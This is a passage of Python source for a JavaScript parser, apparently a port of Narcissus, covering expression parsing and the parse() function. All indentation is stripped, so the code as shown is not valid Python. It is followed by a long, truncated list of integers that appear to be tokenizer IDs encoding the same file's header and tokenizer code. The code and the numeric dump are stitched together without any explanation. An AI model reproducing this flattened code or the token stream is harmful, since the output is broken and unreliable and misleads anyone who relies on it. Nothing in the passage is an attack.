# left-heavy COMMA trees into a single array.
if tt == IN:
# An in operator should not be parsed if we're parsing the
# head of a for (...) loop, unless it is in the then part of
# a conditional expression, or parenthesized somehow.
if (x.inForLoopInit and not x.hookLevel and not
x.bracketLevel and not x.curlyLevel and
not x.parenLevel):
raise BreakOutOfLoops
if t.scanOperand:
raise BreakOutOfLoops
while (operators and opPrecedence.get(operators[-1].type_)
>= opPrecedence.get(tt)):
reduce_()
if tt == DOT:
t.mustMatch(IDENTIFIER)
operands.append(Node(t, DOT, [operands.pop(), Node(t)]))
else:
operators.append(Node(t))
t.scanOperand = True
elif tt in (DELETE, VOID, TYPEOF, NOT, BITWISE_NOT, UNARY_PLUS,
UNARY_MINUS, NEW):
if not t.scanOperand:
raise BreakOutOfLoops
operators.append(Node(t))
elif tt in (INCREMENT, DECREMENT):
if t.scanOperand:
operators.append(Node(t)) # prefix increment or decrement
else:
# Don't cross a line boundary for postfix {in,de}crement.
if (t.tokens.get((t.tokenIndex + t.lookahead - 1)
& 3).lineno != t.lineno):
raise BreakOutOfLoops
# Use >, not >=, so postfix has higher precedence than
# prefix.
while (operators and opPrecedence.get(operators[-1].type_,
None) > opPrecedence.get(tt)):
reduce_()
n = Node(t, tt, [operands.pop()])
n.postfix = True
operands.append(n)
elif tt == FUNCTION:
if not t.scanOperand:
raise BreakOutOfLoops
operands.append(FunctionDefinition(t, x, False, EXPRESSED_FORM))
t.scanOperand = False
elif tt in (NULL, THIS, TRUE, FALSE, IDENTIFIER, NUMBER, STRING,
REGEXP):
if not t.scanOperand:
raise BreakOutOfLoops
operands.append(Node(t))
t.scanOperand = False
elif tt == LEFT_BRACKET:
if t.scanOperand:
# Array initializer. Parse using recursive descent, as the
# sub-grammer here is not an operator grammar.
n = Node(t, ARRAY_INIT)
while True:
tt = t.peek()
if tt == RIGHT_BRACKET: break
if tt == COMMA:
t.get()
n.append(None)
continue
n.append(Expression(t, x, COMMA))
if not t.match(COMMA):
break
t.mustMatch(RIGHT_BRACKET)
operands.append(n)
t.scanOperand = False
else:
operators.append(Node(t, INDEX))
t.scanOperand = True
x.bracketLevel += 1
elif tt == RIGHT_BRACKET:
if t.scanOperand or x.bracketLevel == bl:
raise BreakOutOfLoops
while reduce_().type_ != INDEX:
continue
x.bracketLevel -= 1
elif tt == LEFT_CURLY:
if not t.scanOperand:
raise BreakOutOfLoops
# Object initializer. As for array initializers (see above),
# parse using recursive descent.
x.curlyLevel += 1
n = Node(t, OBJECT_INIT)
class BreakOutOfObjectInit(Exception): pass
try:
if not t.match(RIGHT_CURLY):
while True:
tt = t.get()
if ((t.token.value == "get" or
t.token.value == "set") and
t.peek == IDENTIFIER):
if x.ecmaStrictMode:
raise t.newSyntaxError("Illegal property "
"accessor")
n.append(FunctionDefinition(t, x, True,
EXPRESSED_FORM))
else:
if tt in (IDENTIFIER, NUMBER, STRING):
id_ = Node(t)
elif tt == RIGHT_CURLY:
if x.ecmaStrictMode:
raise t.newSyntaxError("Illegal "
"trailing ,")
raise BreakOutOfObjectInit
else:
raise t.newSyntaxError("Invalid property "
"name")
t.mustMatch(COLON)
n.append(Node(t, PROPERTY_INIT, [id_,
Expression(t, x, COMMA)]))
if not t.match(COMMA): break
t.mustMatch(RIGHT_CURLY)
except BreakOutOfObjectInit as e: pass
operands.append(n)
t.scanOperand = False
x.curlyLevel -= 1
elif tt == RIGHT_CURLY:
if not t.scanOperand and x.curlyLevel != cl:
raise ParseError("PANIC: right curly botch")
raise BreakOutOfLoops
elif tt == LEFT_PAREN:
if t.scanOperand:
operators.append(Node(t, GROUP))
x.parenLevel += 1
else:
while (operators and
opPrecedence.get(operators[-1].type_) >
opPrecedence[NEW]):
reduce_()
# Handle () now, to regularize the n-ary case for n > 0.
# We must set scanOperand in case there are arguments and
# the first one is a regexp or unary+/-.
if operators:
n = operators[-1]
else:
n = Object()
n.type_ = None
t.scanOperand = True
if t.match(RIGHT_PAREN):
if n.type_ == NEW:
operators.pop()
n.append(operands.pop())
else:
n = Node(t, CALL, [operands.pop(), Node(t, LIST)])
operands.append(n)
t.scanOperand = False
else:
if n.type_ == NEW:
n.type_ = NEW_WITH_ARGS
else:
operators.append(Node(t, CALL))
x.parenLevel += 1
elif tt == RIGHT_PAREN:
if t.scanOperand or x.parenLevel == pl:
raise BreakOutOfLoops
while True:
tt = reduce_().type_
if tt in (GROUP, CALL, NEW_WITH_ARGS):
break
if tt != GROUP:
if operands:
n = operands[-1]
if n[1].type_ != COMMA:
n[1] = Node(t, LIST, [n[1]])
else:
n[1].type_ = LIST
else:
raise ParseError("Unexpected amount of operands")
x.parenLevel -= 1
# Automatic semicolon insertion means we may scan across a newline
# and into the beginning of another statement. If so, break out of
# the while loop and let the t.scanOperand logic handle errors.
else:
raise BreakOutOfLoops
except BreakOutOfLoops as e: pass
if x.hookLevel != hl:
raise t.newSyntaxError("Missing : after ?")
if x.parenLevel != pl:
raise t.newSyntaxError("Missing ) in parenthetical")
if x.bracketLevel != bl:
raise t.newSyntaxError("Missing ] in index expression")
if t.scanOperand:
raise t.newSyntaxError("Missing operand")
t.scanOperand = True
t.unget()
while operators:
reduce_()
return operands.pop()
def parse(source, filename=None, starting_line_number=1):
"""Parse some Javascript
Args:
source: the Javascript source, as a string
filename: the filename to include in messages
starting_line_number: the line number of the first line of the
passed in source, for output messages
Returns:
the parsed source code data structure
Raises:
ParseError
"""
t = Tokenizer(source, filename, starting_line_number)
x = CompilerContext(False)
n = Script(t, x)
if not t.done:
raise t.newSyntaxError("Syntax error")
return n
if __name__ == "__main__":
result = parse(open(sys.argv[1]).read(),sys.argv[1])
print(str(result))
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
29906,
29889,
29945,
30004,
13,
30004,
13,
29937,
334,
2328,
22815,
365,
2965,
1430,
1660,
350,
21339,
334,
2328,
30004,
13,
29937,
10079,
29901,
341,
7390,
29871,
29896,
29889,
29896,
29914,
29954,
7390,
29871,
29906,
29889,
29900,
29914,
29931,
29954,
7390,
29871,
29906,
29889,
29896,
30004,
13,
29937,
30004,
13,
29937,
450,
8118,
310,
445,
934,
526,
4967,
304,
278,
18129,
2911,
5236,
19245,
10079,
30004,
13,
29937,
29871,
29896,
29889,
29896,
313,
1552,
376,
29931,
293,
1947,
1496,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
30004,
13,
29937,
278,
19245,
29889,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
30004,
13,
29937,
1732,
597,
1636,
29889,
13025,
29889,
990,
29914,
3580,
29931,
29914,
30004,
13,
29937,
30004,
13,
29937,
18540,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
8405,
11167,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29979,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
2823,
278,
19245,
30004,
13,
29937,
363,
278,
2702,
4086,
14765,
1076,
10462,
322,
27028,
1090,
278,
30004,
13,
29937,
19245,
22993,
13,
29937,
30004,
13,
29937,
450,
8533,
5920,
338,
278,
405,
5666,
790,
375,
8286,
6012,
29892,
3971,
297,
12728,
22993,
13,
29937,
30004,
13,
29937,
450,
17250,
10682,
261,
310,
278,
8533,
5920,
338,
30004,
13,
29937,
529,
5813,
29958,
3532,
26862,
6227,
6778,
22993,
13,
29937,
3371,
1080,
2825,
491,
278,
17250,
10682,
261,
526,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29900,
29946,
30004,
13,
29937,
278,
17250,
10682,
261,
29889,
2178,
26863,
2538,
9841,
22993,
13,
29937,
30004,
13,
29937,
450,
5132,
1873,
310,
278,
775,
471,
2825,
491,
529,
5813,
29958,
3532,
26862,
6227,
6778,
11167,
13,
29937,
322,
338,
263,
1513,
13962,
515,
278,
12728,
1873,
22993,
13,
29937,
30004,
13,
29937,
20360,
29892,
278,
8118,
310,
445,
934,
1122,
367,
1304,
1090,
278,
4958,
310,
30004,
13,
29937,
2845,
278,
15143,
4593,
5236,
19245,
10079,
29871,
29906,
470,
2678,
313,
1552,
376,
29954,
7390,
4968,
470,
30004,
13,
29937,
278,
15143,
365,
16136,
4593,
5236,
19245,
10079,
29871,
29906,
29889,
29896,
470,
2678,
313,
1552,
376,
29931,
29954,
7390,
4968,
30004,
13,
29937,
297,
607,
1206,
278,
1326,
12112,
310,
278,
402,
7390,
470,
278,
365,
29954,
7390,
526,
22903,
2012,
30004,
13,
29937,
310,
1906,
2038,
29889,
960,
366,
6398,
304,
2758,
671,
310,
596,
1873,
310,
445,
934,
871,
30004,
13,
29937,
1090,
278,
4958,
310,
2845,
278,
402,
7390,
470,
278,
365,
29954,
7390,
29892,
322,
451,
304,
2758,
4045,
304,
30004,
13,
29937,
671,
596,
1873,
310,
445,
934,
1090,
278,
4958,
310,
278,
341,
7390,
29892,
12266,
596,
30004,
13,
29937,
10608,
491,
21228,
278,
1326,
12112,
2038,
322,
5191,
963,
411,
278,
8369,
30004,
13,
29937,
322,
916,
1326,
12112,
3734,
491,
278,
402,
7390,
470,
278,
365,
29954,
7390,
29889,
960,
366,
437,
451,
5217,
30004,
13,
29937,
278,
1326,
12112,
2038,
29892,
263,
23957,
993,
1122,
671,
596,
1873,
310,
445,
934,
1090,
30004,
13,
29937,
278,
4958,
310,
738,
697,
310,
278,
341,
7390,
29892,
278,
402,
7390,
470,
278,
365,
29954,
7390,
22993,
13,
29937,
30004,
13,
29937,
334,
2328,
11056,
365,
2965,
1430,
1660,
350,
21339,
334,
2328,
29722,
13,
30004,
13,
15945,
19451,
13,
10772,
29940,
5666,
790,
375,
30004,
13,
30004,
13,
319,
19566,
936,
885,
7310,
322,
13812,
29889,
7649,
8762,
297,
7649,
29892,
2011,
287,
304,
5132,
22993,
13,
15945,
19451,
13,
30004,
13,
1649,
8921,
1649,
353,
9872,
5813,
11903,
30004,
13,
1649,
8921,
29918,
5269,
1649,
353,
9872,
26862,
6227,
11903,
30004,
13,
1649,
1256,
1649,
353,
376,
29906,
29900,
29900,
29929,
29899,
29900,
29941,
29899,
29906,
29946,
19451,
13,
1649,
497,
1649,
353,
6796,
12914,
2392,
613,
376,
5510,
613,
376,
517,
12360,
3108,
30004,
13,
30004,
13,
5215,
337,
29892,
10876,
29892,
4072,
30004,
13,
30004,
13,
1990,
4669,
29898,
3318,
1125,
1209,
30004,
13,
1990,
4829,
23538,
2451,
1125,
1209,
30004,
13,
1990,
20969,
2392,
29898,
2392,
29918,
1125,
1209,
30004,
13,
30004,
13,
517,
12360,
353,
9657,
29898,
15172,
3552,
30004,
13,
4706,
396,
2796,
310,
2752,
22993,
13,
4706,
376,
11794,
15231,
13,
30004,
13,
4706,
396,
6607,
4097,
322,
6035,
22999,
4097,
29889,
3834,
5101,
29899,
3538,
1797,
13750,
29892,
321,
29889,
29887,
29889,
20532,
29892,
448,
8443,
13,
4706,
396,
322,
313,
3904,
19926,
29918,
7390,
3308,
29892,
8291,
19926,
29918,
16173,
3308,
467,
30004,
13,
4706,
6634,
29876,
613,
12159,
15231,
13,
4706,
9162,
15231,
13,
4706,
376,
543,
11167,
13,
4706,
376,
29973,
613,
29242,
613,
376,
6007,
29928,
22122,
1964,
15231,
13,
4706,
376,
8876,
15231,
13,
4706,
376,
12774,
15231,
13,
4706,
376,
29989,
15231,
13,
4706,
13898,
15231,
13,
4706,
376,
29987,
15231,
13,
4706,
376,
26359,
29892,
376,
29991,
543,
29892,
376,
1360,
543,
29892,
376,
19216,
543,
11167,
13,
4706,
9872,
613,
9872,
543,
29892,
376,
29958,
543,
29892,
376,
29958,
15231,
13,
4706,
376,
9314,
613,
376,
6778,
613,
376,
6778,
29958,
15231,
13,
4706,
15691,
613,
11663,
15231,
13,
4706,
26345,
613,
5591,
613,
11860,
15231,
13,
4706,
376,
29991,
613,
376,
30022,
613,
376,
3904,
19926,
29918,
7390,
3308,
613,
376,
3904,
19926,
29918,
16173,
3308,
15231,
13,
4706,
376,
1817,
613,
376,
489,
15231,
13,
4706,
11393,
15231,
13,
4706,
14704,
613,
376,
29962,
15231,
13,
4706,
29850,
613,
376,
29913,
15231,
13,
4706,
18227,
613,
16521,
15231,
13,
30004,
13,
4706,
396,
10050,
8489,
979,
5447,
2943,
1134,
11561,
22993,
13,
4706,
376,
7187,
24290,
613,
376,
29933,
21339,
613,
376,
24461,
6670,
613,
376,
22051,
29918,
1177,
613,
376,
29907,
9818,
613,
376,
28577,
29918,
29956,
13054,
29918,
1718,
10749,
613,
376,
27992,
15231,
13,
4706,
376,
1718,
22800,
29918,
26019,
613,
376,
14824,
17637,
29918,
26019,
613,
376,
8618,
13171,
15631,
29918,
26019,
613,
376,
7194,
4945,
613,
376,
10490,
4945,
15231,
13,
4706,
376,
26284,
613,
376,
24360,
15231,
13,
30004,
13,
4706,
396,
11814,
19016,
22993,
13,
4706,
376,
1367,
3919,
29902,
3738,
1001,
613,
376,
23207,
613,
376,
20785,
613,
376,
1525,
1692,
29990,
29925,
15231,
13,
30004,
13,
4706,
396,
7670,
9303,
22993,
13,
4706,
376,
8690,
15231,
13,
4706,
376,
4878,
613,
376,
12510,
613,
376,
3075,
613,
376,
19878,
15231,
13,
4706,
376,
8382,
914,
613,
376,
4381,
613,
376,
8143,
613,
376,
1867,
15231,
13,
4706,
376,
2870,
613,
376,
18605,
15231,
13,
4706,
376,
4541,
613,
376,
4951,
635,
613,
376,
1454,
613,
376,
2220,
15231,
13,
4706,
376,
361,
613,
376,
262,
613,
376,
8758,
974,
15231,
13,
4706,
376,
1482,
613,
376,
4304,
15231,
13,
4706,
376,
2457,
15231,
13,
4706,
376,
15123,
15231,
13,
4706,
376,
1366,
613,
376,
20539,
613,
376,
3009,
613,
376,
2202,
613,
376,
18059,
15231,
13,
4706,
376,
1707,
613,
376,
5405,
15231,
13,
4706,
376,
8000,
613,
376,
2541,
29908,
4961,
30004,
13,
30004,
13,
29937,
6607,
1061,
322,
6035,
22999,
1061,
10417,
515,
5993,
304,
5447,
2943,
1134,
1024,
22993,
13,
29937,
405,
29933,
29901,
2428,
1807,
18897,
313,
29872,
29889,
29887,
1696,
8445,
29897,
1818,
2041,
1434,
1009,
28228,
5993,
30004,
13,
29937,
6795,
20895,
20532,
297,
278,
1342,
511,
577,
393,
278,
1015,
4597,
9544,
4943,
4603,
30004,
13,
29937,
14710,
267,
1891,
515,
445,
1051,
3732,
278,
27217,
1950,
1993,
22993,
13,
459,
1542,
8659,
353,
518,
30004,
13,
4706,
6702,
29905,
29876,
742,
259,
376,
28577,
18521,
4968,
30004,
13,
4706,
313,
2670,
742,
1678,
376,
1660,
29924,
2965,
5607,
1164,
4968,
30004,
13,
4706,
313,
742,
742,
1678,
376,
19795,
1529,
4968,
30004,
13,
4706,
6702,
29973,
742,
1678,
376,
8187,
8949,
4968,
30004,
13,
4706,
313,
2396,
742,
1678,
376,
15032,
1164,
4968,
30004,
13,
4706,
6702,
8876,
742,
259,
376,
1955,
4968,
30004,
13,
4706,
6702,
12774,
742,
259,
376,
9468,
4968,
30004,
13,
4706,
6702,
29989,
742,
1678,
376,
22698,
22119,
1660,
29918,
1955,
4968,
30004,
13,
4706,
6702,
29985,
742,
1678,
376,
22698,
22119,
1660,
29918,
29990,
1955,
4968,
30004,
13,
4706,
6702,
29987,
742,
1678,
376,
22698,
22119,
1660,
29918,
9468,
4968,
30004,
13,
4706,
6702,
25512,
742,
29871,
376,
1254,
3960,
1783,
29918,
28879,
4968,
30004,
13,
4706,
6702,
1360,
742,
259,
376,
28879,
4968,
30004,
13,
4706,
6702,
29922,
742,
1678,
376,
22933,
17298,
4968,
30004,
13,
4706,
6702,
29991,
1360,
742,
29871,
376,
1254,
3960,
1783,
29918,
8186,
4968,
30004,
13,
4706,
6702,
19216,
742,
259,
376,
8186,
4968,
30004,
13,
4706,
6702,
9314,
742,
259,
376,
29931,
7068,
4968,
30004,
13,
4706,
6702,
14065,
742,
259,
376,
1307,
4968,
30004,
13,
4706,
6702,
29966,
742,
1678,
376,
5850,
4968,
30004,
13,
4706,
6702,
6778,
29958,
742,
29871,
376,
4574,
7068,
4968,
30004,
13,
4706,
6702,
6778,
742,
259,
376,
29934,
7068,
4968,
30004,
13,
4706,
6702,
18572,
742,
259,
376,
1692,
4968,
30004,
13,
4706,
6702,
29958,
742,
1678,
376,
23799,
4968,
30004,
13,
4706,
6702,
1817,
742,
259,
376,
1177,
22245,
13780,
4968,
30004,
13,
4706,
6702,
489,
742,
259,
376,
2287,
22245,
13780,
4968,
30004,
13,
4706,
6702,
29974,
742,
1678,
376,
7390,
3308,
4968,
30004,
13,
4706,
6702,
29899,
742,
1678,
376,
16173,
3308,
4968,
30004,
13,
4706,
6702,
29930,
742,
1678,
376,
29924,
13309,
4968,
30004,
13,
4706,
6702,
29914,
742,
1678,
376,
4571,
29963,
4968,
30004,
13,
4706,
6702,
29995,
742,
1678,
376,
6720,
29928,
4968,
30004,
13,
4706,
6702,
29991,
742,
1678,
376,
12256,
4968,
30004,
13,
4706,
6702,
30022,
742,
1678,
376,
22698,
22119,
1660,
29918,
12256,
4968,
30004,
13,
4706,
313,
4286,
742,
1678,
376,
29928,
2891,
4968,
30004,
13,
4706,
6702,
29961,
742,
1678,
376,
28024,
29918,
15176,
11375,
2544,
4968,
30004,
13,
4706,
313,
2033,
742,
1678,
376,
22789,
3912,
29918,
15176,
11375,
2544,
4968,
30004,
13,
4706,
6702,
29912,
742,
1678,
376,
28024,
29918,
29907,
4219,
29979,
4968,
30004,
13,
4706,
6702,
29913,
742,
1678,
376,
22789,
3912,
29918,
29907,
4219,
29979,
4968,
30004,
13,
4706,
6702,
29317,
1678,
376,
28024,
29918,
16320,
1430,
4968,
30004,
13,
4706,
313,
1495,
742,
1678,
376,
22789,
3912,
29918,
16320,
1430,
4968,
30004,
13,
1678,
4514,
30004,
13,
30004,
13,
1989,
9303,
353,
6571,
30004,
13,
30004,
13,
29937,
22402,
1040,
11056,
29892,
2992,
1696,
2729,
373,
278,
5993,
2983,
29889,
29871,
3115,
2910,
1024,
304,
2380,
22993,
13,
1454,
474,
29892,
260,
297,
18897,
29889,
8552,
2141,
7076,
7295,
30004,
13,
1678,
565,
337,
29889,
4352,
29898,
29878,
29915,
29985,
29961,
29874,
29899,
29920,
29962,
742,
260,
1125,
30004,
13,
4706,
1040,
29918,
978,
353,
260,
29889,
21064,
26471,
13,
4706,
29361,
29961,
29873,
29962,
353,
474,
30004,
13,
1678,
25342,
337,
29889,
4352,
29898,
29878,
29915,
3823,
29956,
742,
260,
1125,
30004,
13,
4706,
1040,
29918,
978,
353,
9657,
29898,
459,
1542,
8659,
9601,
29873,
29962,
30004,
13,
1678,
1683,
29901,
30004,
13,
4706,
1040,
29918,
978,
353,
260,
30004,
13,
1678,
13149,
1338,
580,
29961,
3075,
29918,
978,
29962,
353,
474,
30004,
13,
1678,
18897,
29961,
29873,
29962,
353,
474,
30004,
13,
30004,
13,
16645,
29949,
567,
353,
6571,
30004,
13,
30004,
13,
29937,
7315,
12827,
12768,
304,
1009,
18111,
297,
278,
18897,
1409,
22993,
13,
1454,
474,
29892,
260,
297,
26985,
18959,
29989,
742,
525,
29985,
742,
525,
29987,
742,
525,
9314,
742,
525,
6778,
742,
525,
6778,
29958,
742,
525,
29974,
742,
17411,
742,
525,
29930,
742,
8207,
742,
14210,
2033,
1125,
30004,
13,
1678,
3566,
29949,
567,
29961,
29873,
29962,
353,
18897,
29961,
29873,
29962,
30004,
13,
1678,
3566,
29949,
567,
29961,
29875,
29962,
353,
260,
30004,
13,
30004,
13,
29937,
8878,
263,
6528,
29886,
393,
5936,
7093,
12768,
322,
6035,
22999,
4097,
313,
19499,
25899,
467,
30004,
13,
459,
4597,
9544,
29903,
2214,
353,
13898,
19451,
13,
1454,
474,
29892,
432,
297,
1015,
1542,
8659,
29901,
30004,
13,
1678,
565,
474,
1275,
6634,
29876,
1115,
6773,
30004,
13,
1678,
565,
1015,
4597,
9544,
29903,
2214,
2804,
13898,
1115,
1015,
4597,
9544,
29903,
2214,
4619,
376,
15333,
19451,
13,
1678,
1015,
4597,
9544,
29903,
2214,
4619,
337,
29889,
1491,
29898,
29878,
29915,
29961,
29973,
15333,
29987,
4923,
1012,
7110,
29962,
3124,
29899,
17710,
7998,
5586,
742,
14013,
921,
29901,
376,
1966,
29995,
29879,
29908,
1273,
921,
29889,
2972,
29898,
29900,
511,
474,
8443,
13,
459,
4597,
9544,
353,
337,
29889,
12198,
29898,
459,
4597,
9544,
29903,
2214,
8443,
13,
30004,
13,
29937,
14806,
1015,
1542,
8659,
304,
385,
3935,
8600,
1286,
393,
591,
1016,
29915,
29873,
2562,
1048,
20520,
30004,
13,
459,
1542,
8659,
353,
9657,
29898,
459,
1542,
8659,
8443,
13,
30004,
13,
29937,
319,
6528,
29886,
304,
1993,
16526,
1298,
4631,
1338,
313,
4187,
451,
6043,
4631,
1338,
467,
30004,
13,
18091,
4597,
9544,
353,
337,
29889,
12198,
29898,
29878,
29915,
3823,
29881,
3124,
7790,
29881,
29930,
10780,
10834,
29872,
29923,
3816,
11793,
29962,
29973,
29905,
29881,
29974,
6877,
29989,
3823,
29881,
29974,
10780,
3583,
7790,
29881,
29930,
6877,
29961,
29872,
29923,
3816,
11793,
29962,
29973,
29905,
29881,
29974,
29989,
3823,
7790,
29881,
29974,
10780,
10834,
29872,
29923,
3816,
11793,
29962,
29973,
29905,
29881,
29974,
6877,
1495,
30004,
13,
30004,
13,
29937,
319,
6528,
29886,
304,
1993,
6528,
29886,
4631,
1338,
22993,
13,
276,
4597,
9544,
353,
337,
29889,
12198,
29898,
29878,
29915,
3823,
29914,
3552,
29973,
22298,
29889,
4295,
29961,
10780,
22298,
29889,
29989,
29961,
3823,
24960,
17710,
29962,
29989,
29961,
3823,
29914,
2314,
29974,
2144,
29914,
4197,
29887,
326,
29891,
29962,
7528,
1495,
30004,
13,
30004,
13,
1990,
21306,
2392,
23538,
12914,
2392,
1125,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2643,
29892,
10422,
29892,
6276,
8154,
1125,
30004,
13,
4706,
20969,
2392,
17255,
2344,
12035,
1311,
29892,
376,
16676,
1059,
29901,
1273,
29879,
29905,
29876,
29995,
29879,
16664,
29879,
29908,
1273,
30004,
13,
18884,
313,
4906,
29892,
10422,
29892,
6276,
8154,
876,
30004,
13,
30004,
13,
1990,
25159,
3950,
29898,
3318,
1125,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
269,
29892,
285,
29892,
301,
1125,
30004,
13,
4706,
1583,
29889,
18127,
353,
29871,
29900,
30004,
13,
4706,
1583,
29889,
4993,
353,
851,
29898,
29879,
8443,
13,
4706,
1583,
29889,
517,
12360,
353,
6571,
30004,
13,
4706,
1583,
29889,
6979,
3220,
353,
29871,
29900,
30004,
13,
4706,
1583,
29889,
6914,
29874,
2813,
353,
29871,
29900,
30004,
13,
4706,
1583,
29889,
16192,
4373,
9012,
353,
7700,
30004,
13,
4706,
1583,
29889,
16192,
7094,
392,
353,
5852,
30004,
13,
4706,
1583,
29889,
9507,
353,
285,
30004,
13,
4706,
1583,
29889,
1915,
8154,
353,
301,
30004,
13,
30004,
13,
1678,
1881,
29918,
353,
2875,
29898,
2892,
1583,
29901,
1583,
29889,
4993,
29961,
1311,
29889,
18127,
29901,
2314,
30004,
13,
1678,
2309,
353,
2875,
29898,
2892,
1583,
29901,
1583,
29889,
412,
1416,
580,
1275,
11056,
8443,
13,
1678,
5993,
353,
2875,
29898,
2892,
1583,
29901,
1583,
29889,
517,
12360,
29889,
657,
29898,
1311,
29889,
6979,
3220,
876,
30004,
13,
30004,
13,
1678,
822,
1993,
29898,
1311,
29892,
260,
29873,
1125,
30004,
13,
4706,
736,
1583,
29889,
657,
580,
1275,
260,
29873,
470,
1583,
29889,
348,
657,
26471,
13,
30004,
13,
1678,
822,
1818,
9652,
29898,
1311,
29892,
260,
29873,
1125,
30004,
13,
4706,
565,
451,
1583,
29889,
4352,
29898,
698,
1125,
30004,
13,
9651,
12020,
1583,
29889,
1482,
16676,
2392,
703,
18552,
292,
376,
718,
18897,
29889,
657,
29898,
698,
467,
13609,
3101,
30004,
13,
4706,
736,
1583,
29889,
6979,
30004,
13,
30004,
13,
1678,
822,
1236,
1416,
29898,
1311,
1125,
30004,
13,
4706,
565,
1583,
29889,
6914,
29874,
2813,
29901,
30004,
13,
9651,
2446,
353,
1583,
29889,
517,
12360,
29889,
657,
3552,
1311,
29889,
6979,
3220,
718,
1583,
29889,
6914,
29874,
2813,
29897,
669,
29871,
29941,
8443,
13,
9651,
565,
1583,
29889,
16192,
4373,
9012,
322,
313,
657,
5552,
29898,
4622,
29892,
376,
1915,
8154,
613,
6213,
29897,
2804,
30004,
13,
462,
1678,
679,
5552,
29898,
1311,
29892,
376,
1915,
8154,
613,
6213,
22164,
30004,
13,
18884,
260,
29873,
353,
29091,
18521,
30004,
13,
9651,
1683,
29901,
30004,
13,
18884,
260,
29873,
353,
679,
5552,
29898,
4622,
29892,
376,
1853,
29918,
613,
6213,
8443,
13,
4706,
1683,
29901,
30004,
13,
9651,
260,
29873,
353,
1583,
29889,
657,
26471,
13,
9651,
1583,
29889,
348,
657,
26471,
13,
4706,
736,
260,
29873,
30004,
13,
30004,
13,
1678,
822,
1236,
1416,
2951,
29903,
420,
3542,
29898,
1311,
1125,
30004,
13,
4706,
1583,
29889,
16192,
4373,
9012,
353,
5852,
30004,
13,
4706,
260,
29873,
353,
1583,
29889,
412,
1416,
26471,
13,
4706,
1583,
29889,
16192,
4373,
9012,
353,
7700,
30004,
13,
4706,
736,
260,
29873,
30004,
13,
30004,
13,
1678,
822,
679,
29898,
1311,
1125,
30004,
13,
4706,
1550,
1583,
29889,
6914,
29874,
2813,
29901,
30004,
13,
9651,
1583,
29889,
6914,
29874,
2813,
22361,
29871,
29896,
30004,
13,
9651,
1583,
29889,
6979,
3220,
353,
313,
1311,
29889,
6979,
3220,
718,
29871,
29896,
29897,
669,
29871,
29941,
30004,
13,
9651,
5993,
353,
1583,
29889,
517,
12360,
29889,
657,
29898,
1311,
29889,
6979,
3220,
8443,
13,
9651,
565,
679,
5552,
29898,
6979,
29892,
376,
1853,
29918,
613,
6213,
29897,
2804,
29091,
18521,
470,
1583,
29889,
16192,
4373,
9012,
29901,
30004,
13,
18884,
736,
679,
5552,
29898,
6979,
29892,
376,
1853,
29918,
613,
6213,
8443,
13,
30004,
13,
4706,
1550,
5852,
29901,
30004,
13,
9651,
1881,
1649,
353,
1583,
29889,
2080,
29918,
30004,
13,
9651,
565,
1583,
29889,
16192,
4373,
9012,
29901,
30004,
13,
18884,
1993,
353,
337,
29889,
4352,
29898,
29878,
29915,
29985,
29961,
320,
29873,
10062,
742,
1881,
1649,
8443,
13,
9651,
1683,
29901,
30004,
13,
18884,
1993,
353,
337,
29889,
4352,
29898,
29878,
29915,
3823,
29879,
29974,
742,
1881,
1649,
8443,
13,
9651,
565,
1993,
29901,
30004,
13,
18884,
8162,
353,
1993,
29889,
2972,
29898,
29900,
8443,
13,
18884,
1583,
29889,
18127,
4619,
7431,
29898,
22854,
8443,
13,
18884,
716,
9012,
353,
337,
29889,
2886,
497,
29898,
29878,
12764,
29876,
742,
8162,
8443,
13,
18884,
565,
716,
9012,
29901,
30004,
13,
462,
1678,
1583,
29889,
1915,
8154,
4619,
7431,
29898,
1482,
9012,
8443,
13,
18884,
1881,
1649,
353,
1583,
29889,
2080,
29918,
30004,
13,
30004,
13,
9651,
1993,
353,
337,
29889,
4352,
29898,
29878,
29915,
3823,
29914,
10780,
3583,
29930,
10780,
29901,
29889,
4295,
29876,
11877,
29973,
29905,
17710,
29914,
4295,
29914,
5575,
29897,
742,
1881,
1649,
8443,
13,
9651,
565,
451,
1993,
29901,
30004,
13,
18884,
2867,
30004,
13,
9651,
3440,
353,
1993,
29889,
2972,
29898,
29900,
8443,
13,
9651,
1583,
29889,
18127,
4619,
7431,
29898,
9342,
8443,
13,
9651,
716,
9012,
353,
337,
29889,
2886,
497,
29898,
29878,
12764,
29876,
742,
3440,
8443,
13,
9651,
565,
716,
9012,
29901,
30004,
13,
18884,
1583,
29889,
1915,
8154,
4619,
7431,
29898,
1482,
9012,
8443,
13,
30004,
13,
4706,
1583,
29889,
6979,
3220,
353,
313,
1311,
29889,
6979,
3220,
718,
29871,
29896,
29897,
669,
29871,
29941,
30004,
13,
4706,
5993,
353,
1583,
29889,
517,
12360,
29889,
657,
29898,
1311,
29889,
6979,
3220,
8443,
13,
4706,
565,
451,
5993,
29901,
30004,
13,
9651,
5993,
353,
4669,
26471,
13,
9651,
1583,
29889,
517,
12360,
29961,
1311,
29889,
6979,
3220,
29962,
353,
5993,
30004,
13,
30004,
13,
4706,
565,
451,
1881,
1649,
29901,
30004,
13,
9651,
5993,
29889,
1853,
29918,
353,
11056,
30004,
13,
9651,
736,
11056,
30004,
13,
30004,
13,
4706,
822,
1993,
4290,
7295,
30004,
13,
9651,
1993,
353,
285,
29886,
4597,
9544,
29889,
4352,
29898,
2080,
1649,
8443,
13,
9651,
565,
1993,
29901,
30004,
13,
18884,
5993,
29889,
1853,
29918,
353,
28019,
13635,
30004,
13,
18884,
5993,
29889,
1767,
353,
5785,
29898,
4352,
29889,
2972,
29898,
29900,
876,
30004,
13,
18884,
736,
1993,
29889,
2972,
29898,
29900,
8443,
13,
30004,
13,
9651,
1993,
353,
337,
29889,
4352,
29898,
29878,
29915,
29985,
29900,
29961,
29916,
29990,
3816,
29905,
1388,
29899,
29888,
29909,
29899,
29943,
10062,
15333,
29900,
29961,
29900,
29899,
29955,
14178,
29989,
3823,
29881,
29974,
742,
1881,
1649,
8443,
13,
9651,
